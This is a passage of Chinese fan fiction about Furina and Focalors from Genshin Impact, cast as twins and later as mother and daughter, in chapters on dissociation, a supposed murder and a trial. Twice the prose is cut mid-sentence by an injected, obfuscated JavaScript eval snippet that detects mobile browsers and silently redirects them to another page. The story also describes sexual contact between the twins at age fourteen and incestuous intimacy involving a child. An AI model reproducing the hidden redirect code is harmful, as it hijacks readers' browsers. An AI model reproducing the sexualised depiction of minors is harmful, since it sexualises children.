岁月荏苒,后来留在她印象里的,就只有芙卡洛斯的年纪。十七岁。她已经比她的姐姐年长,活过了她未曾活过的岁月,行过了她未曾行过的长路。前半生她在伊甸里排演无人观赏的戏剧,后半生她枯坐在新生的伊甸里一点点拼合玻璃碎片。她的生活被分成截然不同的两个部分,没有正文的序言,和没有头尾的抒情,被拙劣地拼凑在一起,像一部不伦不类的诗集。而芙卡洛斯则是一个漫长的脚注,从第一页絮叨到最后一页。 我的心宛如一朵窃来的烟火。芙宁娜喃喃,如果你能听到,那就尽快醒来吧。我想和你谈论天空,海洋和冰川;也想和你谈论烟火、心脏和诗歌。 姐姐,我还想谈论你。 谈论那个只存在十七年的、只有你的国度。我要原样建起一个新的玻璃花房,那是将存在很久的、只有我的国度。我要做你唯一的神明、君主和臣民。因为你说过啊,你说过,我是你的珀尔塞福涅。 等每一块散逸的玻璃回到原点,失序的灵魂找到归处,你从漫长的夜晚醒来,会如何赞扬我出演的这幕长戏?可我偏要质问你—— 如果早已知晓这命中注定的别离,为何当初你仍一意孤行地将我留下? 你会怎样回答我呢,芙卡洛斯?你会从铺满玫瑰的眠床中坐起,给我一个久违的拥抱,告诉我,这是因为我不能拒绝和你相遇,是这样吗,姐姐? 6. 没有你的国度 *芙宁娜X芙卡洛斯,非原作向,现代背景,第一人称预警 芙卡洛斯好像死了。一个人怎么可以好像死了?如果他活着,那就还没有死;如果他死了,作为一桩确凿无疑的事实,更谈不上“好像”。但这句话就是从喉咙里流出来了,很畅快地。声带很紧,想说的话都被医生的压舌板压下去,在胃里冒出一两个作呕的气泡。最后我只是徒劳地重复,芙卡洛斯好像死了。在昨夜。也许是前天。我不知道。每一个字都绵长地黏在牙齿上,我哆哆嗦嗦地往外吐,却徒劳无功,像在嚼一块陈年的口香糖。 她的死太过突然,我来不及做出反应。我醒了,但可怕的梦仍影影绰绰地笼罩在房间里。狭小幽暗之地唯有我的呼吸沉重地起伏。汗液顺着脊背滑落,凉意一哄而上,但我仍神经质地抓着被子不肯挪开,仿佛一旦逃离热源,就会坠入冰窟。 我试探地低声陈述:芙卡洛斯。 无人回应。 我撕心裂肺地呼唤:芙卡洛斯! 然后我才恍然想起,芙卡洛斯死了。就在刚刚。梦中我们在森林里慌张地穿梭,不敢承认自己已经迷路。背后巨大的阴影迅捷地扑来,将我们笼罩其中,不得动弹。在我面前,芙卡洛斯迎向追捕我们的野兽,像冬日里迎向上冻台阶的热水,接触的瞬间汽化,扬起一阵局促绵软的水汽。待白雾簌簌落下,梦境戛然而止,我猛地翻身坐起,只有厚重窗帘下透出一线银白的光影,和我狼狈的喘气在逼仄的房间里回荡。 可是芙卡洛斯毕竟还有可能活着。这不过是一个真实的梦。因此,充其量声称,芙卡洛斯好像死了。 笃笃。歇了一阵,然后又是镇定的、不急不缓的两声。我知道是那维莱特在敲门。但身体一动不动。上下嘴唇也黏在一起,虽然只需一点轻微的力气就能挣脱,或者用两三滴无色无味的液体润滑一下,但我仍没有做出任何行动。 床的另一半已经空了。我不敢转头,仿佛这样芙卡洛斯就仍好端端地睡在身边。可是手掌却不听使唤地探过去,轻柔地下压,缎面冰凉。我知道实际上一切都已经无可挽回地发生了。 医院的消毒水气息刺鼻,我向来不喜,何况刚刚又进行了艰辛的谈话,逼迫我回忆不详的梦境。下楼下到一半时,我已看到那维莱特正端坐在冰冷的金属椅子上。他看向我。我不知所措地停住脚步,在楼梯中间。我不明白他为什么用那样的眼神看我。 他得体礼貌地询问医生的意见和我昨夜的睡眠质量,我也尽可能敷衍含糊地回答。 他沉默了一会儿,才向我确认,是否仍然坚持宣称杀死了自己的姐姐,名为芙卡洛斯的少女。 当然。昨晚我再次企图杀死她。我并不是非常确定她是否还活着。但我知道,面对那只熊掌时,我躲到了她的身后——那维莱特先生,这也许是在谋杀。 芙宁娜女士,容我提醒您,您之前也曾如此供述过,但执律庭并没有找到任何线索。而且,枫丹现行法律并不支持将梦境作为证据采信。 证据,证据。一个人死了,你去查查这个人,自然会有很多证据,你为什么始终不肯相信呢? 虽然我有充足的动机和确定的犯罪事实,但这位最高审判官大人迟迟不肯提起公诉,还总是为我延请医生。后来我终于明白,枫丹的法律体系不能审判我,从而放弃了对自己没有病症的单方面无力宣告,学会了简易包装。那维莱特再问起时,我会乖巧地回答说,啊,芙卡洛斯?我知道,那是我的幻想朋友。每个人都有幻想朋友,这是理所当然的事。但我这么说的时候,对方总是投来困惑的、轻蔑的、同情的、不屑一顾的眼神。 就像现在这样。 那维莱特慌张地垂下眼帘,建议我转学,或者出国,总之,换一个环境,也许对我的健康有益。好吧,好吧,我举手投降,我们到此为止吧,继续纠缠下去于你我无益。 问题就在这里,芙宁娜女士。我们查阅了所有的档案,不得不非常遗憾地通知您,从来没有叫芙卡洛斯的人。我的确是在说,从来没有这样一个人存在过。也许您……是太寂寞了。 很长一段时间里,我一直在琢磨那维莱特的话。人不是空气,不可能无色无味无形无声,除非时间已经冲垮了所有痕迹。但芙卡洛斯确确实实消失了。没有出生记录,没有学籍,没有档案,没有墓碑。但我记得她,她有着和我一模一样的脸庞,比我沉静一些,但一肚子坏水。她会在我回答问题的时候抽掉我的凳子,在我的蛋糕里藏一枚锃亮的银币,和我争抢唯一干净的玩偶。在孤儿院贫穷而紧张的狭窄房间里,我们的床与床之间只能艰难地插进四条滑溜溜的小腿。她会不客气地伸长胳膊,摊到我的床上。有时她会在那条缝隙里藏一些零食,尽管知道我并不会吃几口,也会捧到我的面前——多少赏光吃一点,我可是好不容易抢到的呢。 我喜欢她。我讨厌她。我嫉妒她。我不愿叫她姐姐。芙卡洛斯。这个名字有一个清亮的元音,爆破以后迅速地黯淡下去,剩下沉闷冗长、缺乏激情的辅音在原地打转。而我的名字则沉痛地踩着飘渺的辅音,奏一两个有气无力的音阶,以至于最后结尾的元音也显得疲软孱弱,不情不愿地黏在前面的音节之后。 我确信芙卡洛斯就是以这样的方式吮吸我的全部生命,从名字到味觉。我尝不出食物的好坏,因为我只能知晓苦的味道。但芙卡洛斯永远昂扬、永远快乐、永远甜蜜,她说世界是巨大的甜甜圈,目之所及的一切都撒满糖霜。我的舌尖一切皆苦,因此不爱进食,而她就这样蚕食掉我的激情、活力和爱恨。但我始终没有办法离开她;我太虚弱了。我只攫取一些必要的食物,用那一点儿可怜的热量支撑这具行尸走肉。 曾经,我也试图开诚布公地同她谈谈。但谈什么,有什么好谈的呢?众所周知,双胞胎什么都要一模一样,摔跤要一样,甜点也要一样。即使知晓等待着的是痛楚与苦涩,我们也毫不犹豫地宣称,要一模一样的两份。 我们曾经如此要好。 但年岁日长,我逐渐明白我们之间不可逾越的鸿沟:只要芙卡洛斯存在一日,我就永无可能知晓糖果的真正滋味。因为她之甜蜜就是我之苦涩,她之健康就是我之病弱,她之快乐就是我之悲伤。因为我们是双胞胎姐妹。这是双生的诅咒。 所以我想办法把我的姐姐喝掉了。一口,又一口,喉咙饮下了芙卡洛斯,像一杯白兰地烫伤了我的胃袋。这把火烧掉了过去的芙宁娜。 自那以后,我疾病全消,茂盛地生长起来,一日胜过一日。 你有没有听说过幻想朋友? 面前的少女不知该如何接话——她大概没有想到转学生的开场白这么奇怪。情急之下她冲身边的朋友挤挤眼,对方却冷静地回答:“那应该是学前儿童会相信的故事。恕我直言,我们已经是高中生了。” 我没有回答,径直走向自己的座位。我听到身后传来一声无奈的叹气,我知道她大抵是觉得她们搞砸了。 我转到这所高中已经一周,独来独往,不怎么和别人交流。我知道关于我的各种流言已经四散开来,毕竟,全班最热心、人缘最好的娜维娅也铩羽而归。我们后来熟悉起来,是要归功于大小姐有一日突然宣布自己要离家出走,好让父亲明白,娜维娅不是温室里的花朵,娜维娅已经长大了。但这群高中生们对此一筹莫展,束手无策。是我告诉他们,十四岁是离家出走最好的年纪。在这之前太早,在这之后过晚。娜维娅,现在太迟了。 不,我不觉得太迟。离家出走也要限制年纪? 当然。我离家出走的时候就是十四岁。我的确成就了一番伟业。假如你十三岁时出门,就会因心智不熟而不解成年人的话术。假如你十五岁出门,就会因过于老成而错过少年人的世界。因此,十四岁,这是基本的门槛,也是最后的界限。 他们都围过来,问我究竟成就了何种伟业。 我说,最关键的除了年纪,还有一点:你必须拥有幻想朋友。 十四岁,我独自离家出走,乘船看鲸。如果孤儿院的确算得上是家的话。那是值得怀念的十四岁,一个人一生只有一次的十四岁。淡季的塞洛海是一块灰色的绒毯,掩藏着无数肮脏尘螨。我站在甲板边缘,海风把我吹得肿胀。我对芙卡洛斯说,你一直不喜欢海,我知道。但我想要做的事情,就一定会想方设法地做到。 芙卡洛斯如何回答,我已经忘了。即使你的生命短促到蝉鸣都未响过几轮,遗忘也不可避免。但这无伤大雅,不是每分每秒都值得铭记。我没有看到辽阔的海面、湛蓝的天空:雾霭把一切都笼罩进浓厚潮湿、密不透风的灰色中。出海的船仅此一艘,在午后的冬日之海上孤独地行走。云层最薄的地方挂着虚光的圆形,我知道那是萎靡的太阳。这个季节很难看到什么风景,船长说,我告诉过你。 是的,当然。但这毕竟是海。即使是逼仄、模糊、寡淡的灰色大海。 一只特立独行的水母不会介意海是什么颜色的,她需要的就只是咸水而已。她在淡水湖里挣扎了十四年,因为缺爱而几近干涸。看到海的一瞬间,我活过来了。我明白了之前我是干瘪的行尸走肉。 爱是盐,芙卡洛斯说,可我不知道咸是怎么回事。大家都说和甜不太一样。但你知道,我吃什么都是甜的。我想知道,芙宁娜,我想知道盐是怎么回事。 我也想知道。不要着急,芙卡洛斯。我们会知道的。 与其说我出海是为了看鲸,不如说是为了看海。单纯看海浪漫过天际,看它跃起直到无色。我们站在船舷边看到日落。 海有什么好看的。站在沙滩上,浪花不知疲倦地在礁石上撞得粉身碎骨,打出白色的泡沫,这就是海。为什么要乘船,到无边无际的海上呢? 娜维娅打断这个问题说,不,我想问的是,爱怎么会是盐?爱应该是马卡龙才对。甜蜜的、无忧无虑的、会融化在心里的、温暖的…… 但爱是盐。我这么说,芙卡洛斯也这么说。你没有明白我和芙卡洛斯的特殊之处。你看,我吃什么都苦,而芙卡洛斯吃什么都甜。我没有在开玩笑。我们就这么过了十四年。十四年里我们没有见过海。那天,我们一见到海,一嗅到潮腥的海风就明白了:爱是盐。十四年来,我们干枯地站在世界中央,没有水,也没有盐。我们是从那时候开始明白,我们势不两立。因为爱不能分有,只能占有。我们不可能平分爱。 在此之前,芙卡洛斯确信我得到了全部的爱,我确信芙卡洛斯得到了全部的爱。在此之后,我和芙卡洛斯都是赤裸地在阳光下暴晒的水母,跋涉千里万里只为回到海洋。我们曾以为我们那么要好,因此一切都要一模一样;现在,我们终于懂得,那是因为我们如此深切地嫉妒对方,误以为对方得到了全部的爱。但实际上我们什么也没有。甚至我们此刻拥有的,也只是一角烟灰的、黯淡的、死气沉沉的海。我们在船舱里互相追逐、撕咬、吞咽,我们知道了不该在十四岁知道的事情,我们凭自己的力量冲出了自己的地狱。那一刻我们无比感谢对方的存在,因为单凭一个芙卡洛斯或芙宁娜,是不可能走出来的。 她的□□和我的一样,贫瘠地贴在胸膛之上。她的眼珠泡在海雾里,倒映出明灭的星星。我们随着海浪悠悠地荡漾,干瘪的身体开始注入水分,逐渐丰盈完满,我们彼此揉搓对方的肌肤,它变白了,白得透明。半夜,海上的骤雨一片一片打了下来,呼吸都带着惨烈的白气,我们只能依靠彼此的体温取暖。我们找不到一线可以攫取的光藏进自己的躯体,因此只能喘息着,摸索着,寻找着,直到对方的痉挛暂且停歇,直到带着寒意的鼻息吹过耳廓。 在那时我就知道,我们在揠苗助长。一个按部就班的孩子不该在十四岁知道□□的触感,不该知道双生姐姐的脖颈的弧度。但我们太迷茫了。我们没有父母,只有彼此。我们是彼此的父亲、母亲、太阳、月亮、星星和海。在长达十四年的时间里,我们一直垂死。 雨歇云收之际,我感到自己的欲望像终于等来春雨、蛰伏十四载的秧苗一样疯狂地生长起来。它没有随着雨的停息而停息,恰恰相反,它张大了嘴巴吁求更多。不够,远远不够。他乡的月亮升上来了,我仔细端详着芙卡洛斯的脸,她整张脸都被月光漂白了。她正在凋败。我在她的瞳孔里看到了腐烂到一半的自己。我知道一切都已不可挽回地发生了:关于我们的生存、抢夺和战争。 但我怎么可能争得过芙卡洛斯呢?从小到大,她都更加健康、美丽和自信。我想从她的身上退下去,而她抓住了我的小腿。她的手是温热的,细腻的触感让我打了个寒噤。一片狼藉。我才恍然从潦倒的境况中醒来,我用目光切割眼前这个赤条条的身形,她从骨骼到骨骼上贴附的肌肉走向都与我一模一样。她并没有因为比我多摄入营养而比我健壮。事实上我们一直是饥渴的,因为我们不知道如何去爱,也不知道如何被爱。我们就这样饥渴了十四年。这简直是个笑话。 如果我们有充足的时间,我们就能在废墟中重新孕育、诞生、成长一遍。那时我们就会是两个独立而丰润的个体。但时间不愿等我们。时间太吝啬也太廉价了。如果我们出不起更高的价格,就不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099049|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽留它。而在这个商店里,一切都明码标价。芙卡洛斯喃喃道,喝掉我吧。如果我们中只有一个人能活下去,我希望那是你。 可我不明白。如果爱是盐,那生是什么,死又是什么。如果我们原来从不曾爱过,那现在这样又算什么。 来不及了。我们明白得太迟了。总是太迟。明天就是我们的十五岁生日,你必须在黎明到来之前把我喝掉。否则我们都会死。 太快了,芙卡洛斯。关于死亡和爱情,我尚且一无所知。 我知道,我知道。但只要你把我喝掉,你就有一生的时间去追寻答案。所以不要犹豫,把我喝掉吧。 芙卡洛斯几乎是恳求地看着我。我移开了自己的目光,像在移开一尾被刮去了鳞片的鱼,换上另一条待宰的猎物。 我看到她眼中倒映的月亮坠落了。 在那一夜,在我十四岁的最后一夜,我流着泪把我的姐姐喝掉了。也是在那一夜,上帝死了。那从不曾给予我爱的上帝死了。于是再无人审判我,也再无人赦免我。 起先我并没有察觉这一事实。我从船上下来,不知道去哪。我想起我们过来时,有一道长长的坡道。我们是在坡底租的船。而在遥远的顶上,有一家小小的便利店。我们站在门口吃了两根雪糕才决定就顺着这里下去,搭乘遇到的第一艘船。那种苦味好像还没有被我完全消化,又顺着食道翻腾上来,在口腔里弥漫。 我蹒跚着爬上去,买了一根一模一样的雪糕。现在只需要一根就好。我咬下去,一股甜腻的味道在口腔里爆开。我来不及思索就吃了第二口。从来没有品尝过的味道。那一刻我无师自通地明白了这就是甜。芙卡洛斯那么喜欢这种味道,的确是有理由的。 现在我知道了甜。立刻,我就顿悟了一切。我连滚带爬地奔下坡道,气喘吁吁地跑到海边,掬起一捧海水,不顾它疯狂地从我的指缝间逃跑,驱使我的舌头追赶着零星的水滴,把它们卷进口中,那是一种奇异的、带着无机感的钢铁的味道,像在舔着船舷边一块脱胶的栏杆,露出斑驳锈红的内里。我知道芙卡洛斯的确是死了。 就在娜维娅问出那个问题的一刹,我突然记起了这一切。那个被我遗忘的生命最重要的一夜,终于又被翻找了出来。但这些我无法宣之于口。我怎么跟一群天真烂漫的高中生说,我把我的姐姐喝掉了?我只能顺着娜维娅的话说,也许是吧,也许爱是马卡龙。但对我来说,爱就是盐。 打扰一下,门口有人伸长了脖子喊,有位先生来找芙宁娜。 我站起来说,那么暂且告辞了,下次再聊我看到的鲸鱼。它们很美。 但我其实根本没有看到过什么鲸鱼。灰海里翻滚着见不得人的欲望,根本容不下如此纯洁的生物。 好久不见,那维莱特先生。感谢你的建议,我觉得在这里我重获新生。抢在他开口之前,我笑意盈盈地做足了表面功夫。 如果确实帮到了你,我很高兴。他客气地俯身行礼。本来也无意来打扰你,不过,之前的医生给我发来了最终的诊断和出院报告,我想你可能需要这个。 什么诊断。我说着,努力控制着笑容不要褪色。 人格解离。解离性身份识别障碍。 我不明白。或许你可以放弃这些拗口的医学名词,采用一些更简单通俗的表达方式。 你可以理解为,一个身体里住着不止一个灵魂。但最初,你的身体里的确只有一个灵魂,那就是你,芙宁娜。另一个灵魂是你分裂出来的。所以,在现实意义上,从来不曾有过拥有肉身的芙卡洛斯。 我想我应当感谢你——枫丹不曾有过芙卡洛斯,这无疑是个好消息。如果她从来不曾存在过,那就从来不曾死去。 ……我很抱歉…… 不,我很感谢你。自始至终,你都没有因芙卡洛斯只是臆想而对我的案件敷衍了事。你的确对所有人都抱有同等的、甚至超额的尊重。 我来是想问问你,是否需要接受一些系统的治疗?我们的医生会找出一个核心人格,让人格逐渐合并。 不,谢谢。如果你相信我说的一切,就该明白,我已经痊愈了。我……已经永远失去了我的幻想朋友。所以,我已经长大了。 那么,我就结案了。 谢谢。我礼貌地与他道别,回到了教室里。 娜维娅说,放学了,要一起回家吗?我想听你谈谈鲸鱼。 很抱歉,我说,接下来我要去的地方不是一个十六岁的高中生应该去的地方。我背上包,转身出了门。我听到背后有人在说,难道她不是十六岁的高中生?是的,但很抱歉,我真希望我不是一个十六岁的高中生。 我穿过瓦萨里回廊,拐进无名的小巷,钻进六个搬运工酒吧。我不去那些有名的酒馆,比如“破釜”和“莎士比亚”之类。那种地方人太多了,不能安静地啜饮白兰地。酒精是个好东西,尽管它里面没有盐。只有喝酒的时候,有关芙卡洛斯的记忆才会变得清晰。芙卡洛斯死后的第三百六十五天,我终于做了有关她的第一个梦,梦里我抽掉了她脚下的木板,那时我们正在离海面三百米的高空中摇晃。于是她笔直地坠落下去,像一只失重的鸟。到我报案为止,芙卡洛斯已在我眼前死去千遍万遍。在死亡录像一遍遍的洗礼后,我遗忘了她如何在我面前死去,她为何死去。也许这的确如她所愿。但这毕竟不合我的意愿。于是我报了案,棘手的案情层层递交,最终站在我面前的是最高审判官那维莱特先生。再然后我进了医院,试图剥离那些寄生的赘瘤。 最后我还是想起了那荒唐的一夜。 白兰地辣得割破了喉咙,我的眼泪不受控制地奔涌而出。酒保担心地探头问我,要不要换一些酒精度数更低的,比如果酒之类的。我摇摇头说,不了,这是我们努力了十四年的结果。你明白吗,我的心如久雨催涨的大河,这样一杯酒,装在透明的酒杯里,被冰块镇着的酒倒进去,只能激起一圈涟漪。他不明所以地回过头去,没有追问——他毕竟见多了发酒疯的客人。我大抵是醉了。 芙卡洛斯,她是我一人的救世主。上帝在千万年前就已经死了。留下来的不过是一个幻影。一个一厢情愿的传闻。那个夜晚,上帝俯身向我坠落,将全身向我打开,把自己的灵与肉都祭献给了我。 我付了账,将零钱塞进钱包。那张学生证上的我笑得很标准,工业流水线加工的笑容。旁边印着名字,芙卡洛斯·德·枫丹。也许今后应当改为芙宁娜·德·枫丹才更恰当,但我并不准备这么做。 关于爱情和死亡,我终究无话可说。 7. Flamme Flétrie枯焰(一) *Furina X Focalors,非原作向,全是雷点,快跑。 “现在,请被告陈述。” 法槌落下,丧钟短暂地唱了一声,像一个意犹未尽而中道崩殂的喷嚏戛然而止。我猛然醒觉,抬头看向前方。主理此案的法官端坐于前,高高在上地俯视着我,他重复道: “现在,请被告陈述。” 我确信芙卡洛斯想要溺死我。 一个月中总有几天被濒死的预感唤醒,发现自己的头被按在洗手池里,不洁的自来水混着□□味道,源源不断地从鼻腔灌进肺里。在芙卡洛斯被我报警送进精神病院三次后,我们终于筋疲力尽地彼此妥协:这对我们家来说是一件正常的事,像别人家的母亲会为孩子准备早餐一样正常。 但是我并没有因此变得怕水。有时我也不免怀疑,芙卡洛斯是不是正是感受到了我对水流近乎病态的迷恋,才如此行事。可惜我不是一条鱼,还没有进化出鳃,因此她的行动确实让我与死神擦肩而过。我不确定我是不是该因此恨她,这是我十岁之前的事情。 二十二岁,大学毕业,我去东亚留学,那时我的中文已经说得流利,但还是很少参与他们的闲聊和讨论。巴黎的朋友们都说这简直不可思议。你不可能叫芙宁娜安静三个小时,就像你不可能叫莫里哀从台上滚下来。他们都这么说。 但他们不知道,最不可思议的是,我是在这里才重新回忆起我们家的不正常之处。那门心理学选修课是在晚上,我经常饿着肚子去听,脑子里排演着福楼拜那如同新雪的白面包,指挥它们列着队跳出脑海,跳进肚子。就在我被教室炽热的灯光烤得昏昏欲睡时,有个披着长发的女孩儿站起来说,为了脱离原生家庭,她在泥沼里走了快二十年,结果终于发现她的脚趾已经融在了泥里。 我不能理解这件事。我不理解她为什么要逃离原生家庭。而那个女孩说着说着就哽咽了,继而站在原地痛哭失声,老师把手放在她的肩膀上,教室里响起掌声。我迟钝地鼓掌,不知道要不要为自己默哀一秒。 是的,她说的很多情节我都熟悉。但我不觉得那是芙卡洛斯的刻意搓磨。我很小的时候就明白,芙卡洛斯是挣不回哪怕一块面包的。她也不可能予我宽慰,她甚至不会说话。每天暂别时额头中央的一个吻是一无所有的芙卡洛斯倾尽全力所能给予我的唯一珍贵之物。与其说我是被芙卡洛斯哺育长大的,不如说是隔壁的邻居奶奶用黑面包堆砌出来的。我不能因此责怪她,或者说,即使我责怪她,境况也不会有什么改善。希望芙卡洛斯履行母亲的职责简直就像在庭审时希望法官手边的法典跳出来为我辩护一样荒谬。 陪审团炸开了锅。也许是为了我最后这个一点儿也不尊重法律的比喻。 那位法官先生敲了敲手中小巧的法槌:“肃静!” 他转向书记员说了句什么。我觉得十分无聊,为我在法庭上回忆的童年,也为在场的所有人。对于一个十恶不赦、被控谋杀母亲的被告来说,此时此地恰如彼时彼地。 小时候我以为大家都一样。在鲁昂的乡下,孩子们想办法填饱自己的肚子是件正常的事情,乞讨与抢劫一样有用。只要有用,这手段是什么性质还重要吗?鲁昂人从小便需领悟生活的真理,否则便难以看到明天的太阳。 鲁昂在法国的西北,从这里出发,沿瑟涅河顺流而下可以直抵巴黎。那是每一个鲁昂人心中的圣地,遍地铺满黄金与面包。我攀在树篱外偷听乡绅家的小姐们谈论小说、诗歌与戏剧,她们笑着复述包法利夫人的话:我既想死,又想去巴黎。听到这里,我知道摆在我面前也只有一条路了。鲁昂附近的人家已经被我识遍,也许我比某些太太自己还要清楚他们家壁橱里银餐叉有几只。要么死,要么去巴黎。 于是我拖着芙卡洛斯去了巴黎。启程那天我刚满十五岁,到达时十六岁已近尾声。我是在那之后才明白,我的鲁昂只是偌大鲁昂偏僻的角落、乡下、郊外,而巴黎是那么瑰丽堂皇,过去十几年的见闻相形见绌,莫若说毫无意义。融入巴黎的过程十分顺利,简直有些不可思议:一个倒霉剧团的女主演生病,我自告奋勇顶替了她,成功赚到第一桶金,甚至有了上学的机会。剧团长说我有天赋,唱起歌来就像塞壬在诱惑奥德赛,让他心醉神迷,他相信所有人都会和他一样,便一手包办了我的大学志愿。 “你知道的吧,几十年前,我们真的有过人鱼,据说最后一条三十年前死于西海岸,标本就藏在卢浮宫。可惜他们全都是哑巴。唉,看来塞壬和人鱼是两个物种。而你——我相信你是前者。” 于是我的命运就此与歌剧难舍难分。那时我不会深思自己天赋的由来,也不会想到,这似乎是我戏剧性的命运、或命运的戏剧性时刻一种预言式的讽喻。 我不放心芙卡洛斯,只能在外面租一间破旧的公寓,泔水和腐肉的味道会顺着窗缝渗透进屋,墙纸欲坠未坠,还有炭笔乱划的痕迹。芙卡洛斯就被我藏在这朽败的囚笼里,那时她每天清醒的时间已经不足三小时。 我早就与泥沼融为一体。芙卡洛斯离不开我,我也离不开芙卡洛斯。但我已经很久很久没有和她说过话。我抓紧她清醒的那点时间往她嘴里塞面包,她在咀嚼的余裕里用那双玻璃般的眼睛凝望我。我不知道那时她在想些什么,追忆往事,还是追悔莫及。 我该恨她吗?我不知道。关于我的原生家庭,我能说的就这么多。也许这根本就算不上是个家庭,逃离自然也无从谈起。 第二次开庭前,律师先生前来探视,与他同行的是一位陌生男人,他自称心理医生。他们请我再多说一点,关于我的家庭成员和我的故事。 我摇摇头:你们的努力都是徒劳,何必再为我费心? 他们说,没有确凿证据的事情,你又为什么要认下呢?芙宁娜小姐,我们见过很多被被冤枉的人,我们知道丧气、绝望、放弃是什么模样。 我问,什么模样? 像你这样。 我想他这么说一定是因为没有见过芙卡洛斯。她一生中大多数时间都昏昏欲睡,我曾经以为这就是厌世。 芙卡洛斯和我一向离群索居,但我们都不是寡言喜独的性子。我不知道她如何无法说话,没有朋友,没有爱人地活下来,几十年如一日,未曾变易,但我的确快要疯了。也许我已经疯了。我不敢太过靠近别人,因为我深信内脏都已经腐烂,那股臭味会顺着说话间的吐息传染对方。也许我是一枚罐头,什么时候密封,不知道,什么时候启封,也不知道。多年以后,有人哼哧哼哧地用小刀划破铝合金薄板,才发现里面的肉全都已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099050|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经腐烂。 在大学长达三年的时间里,我所做的工作就是死记硬背,像在给自己誊写墓志铭,把莎士比亚和高乃依印到薄得能看见背面字迹的试卷纸上,胆大妄为地评价拉辛,假装深刻地玩味杜拉斯,玩一场围绕数字的得分游戏。或者,剧团狭小阴暗的舞台,穿着廉价艳丽、粗制滥造的戏服,喉咙吞吐或新或旧的台词,将生死爱恨糅进咏叹调,在这里,一个人的一生只有半天,就像一个时代只需幕布落下又拉起一次就算结束。 我没有跟任何人说过,我喜欢海的咸腥味道,包括芙卡洛斯。这很不正常,但对我来说顺理成章:为了延缓内脏的腐烂,用盐腌制是经济实惠的办法。有好几次,在食堂吃饭或同学聚餐时,我几乎是迷恋地一点点舔舐鱼羊肉里未被处理干净的腥膻。我觉得自己的胃像一个化学反应场所,吞下污秽,产生活力。我为此时常感到羞愧。但我从来没有联想到过整个家庭的正常与否。那个时候我疲于奔命,没有闲暇考虑面包以外的事情。 巴黎总归离海太远,尽管在这里我有白面包吃。 去留学我也带着芙卡洛斯。我写邮件,说芙卡洛斯身体虚弱,但她是我唯一的家人,于是得到很多慷慨的帮助,顺利地把她带到崭新的国度。我特意选了一座海滨城市,我们的房间能够瞥见一角大海,寂静时涛声隐约可闻。芙卡洛斯的意见?不重要。在我小时候,她每日早出晚归,半片面包也不带回,但面容十分疲倦。我则蹲在村里最气派的那些别墅前捡一些小姐夫人们不要的垃圾,如饥似渴地汲取知识,以至于问出了我不该问的问题: 芙卡洛斯,我的父亲是谁。 她迟钝地想了一会儿才写道,你没有父亲。硬要说的话,你的父亲是我。 哦。我说。几年以后我才知道父亲特指男性,而女性不可能一个人就生下孩子。芙卡洛斯简直谎话连篇,然而她与我交流的时候很真诚,两只眸子认真地盯着我,把夹在板子上的纸推到我面前。深浅不一的蓝像滔滔洪水席卷我的全部生活。但那个时候无人知晓,我是个畸胎,芙卡洛斯是个怪物。 我从来不喊母亲。但芙卡洛斯确实是我的母亲。多少个夜晚我被莫名的恐惧惊扰,害怕得瑟瑟发抖,捡来的破布娃娃被拖在身后,我一路走,一路洒下棉花,爬到她的床边,把整个躯体拱进她的怀抱。潮湿的头发垂下来,像张牙舞爪的章鱼盖住梦境。太冰了。我本能地用身体寻觅带一点温度的肌肤,却发现她的睫毛总是潮湿的,嘴唇也是。于是接着向下,向下。总要折腾一个世纪那么长的时间,被月光像潮水一样一遍遍冲刷,直到筋疲力尽,才这样沉沉睡去。 在留学的两年里,芙卡洛斯乖得像个洋娃娃,她无力反抗。我也试过整夜整夜不回家,从别人明灭的烟头上借火,于混乱的酒吧里一口气喝一整杯龙舌兰。要么,假装漫不经心地撕开银箔,在透明桌板上轻轻磕出一支细长的女士香烟,用力地吮吸滤嘴——我总是如此才觉得餍足。但后半夜总是以口渴收尾,渴得我抖着手将剩下大半的烟丢进下水道,匆匆道别,撞进家门,将自己蜷缩成一团,像小时候那样把自己塞进芙卡洛斯怀里,好像这样就能汲取水分。但实际上她已经干瘪,我能轻易地欺身而上,居高临下地审视漉漉的她。 夜半时分,我听到潮水涨上来了。 8. Flamme Flétrie枯焰(二) 还要再说吗?我意犹未尽地舔了舔嘴角,观察到他们似乎都有些心不在焉。 律师扶了扶眼镜。芙宁娜小姐,这有些……太遥远了。是的,太遥远了。也许它们可以打动陪审团,不过我们更需要了解的是,芙卡洛斯女士去世前后的情况。 我深深地叹了口气。太心急了,我评价道,如果你们不了解芙卡洛斯,就不可能理解她的死。 他们的笑容有些岌岌可危。我的律师再次开口说:芙宁娜小姐,检方认定,芙卡洛斯女士并非自杀。尽管只剩下一截焦炭和余烬…… 我耸耸肩说,我知道。她是一个不可能为自己而自杀的女人。 她是为了我才会自杀。我在心里补充道。 好了好了,别着急。我想芙宁娜小姐确实需要好好倾诉一下。毕竟——嗯,她的生长环境如此特殊。还有时间,我的大律师,你也坐下——好,现在我们都冷静了,芙宁娜小姐,请您继续,我们洗耳恭听。 现在我要说明的是,留学的选择如何改变我的整个人生。我说过,我是一枚罐头。小学、初中、高中、大学到留学生涯。每过一个阶段,罐头里就添一点新油。死鱼泡在里头,也被润得膘肥体壮。但这油反倒封死了水面,无人知晓水下的腐败有条不紊地进行,无休无止。 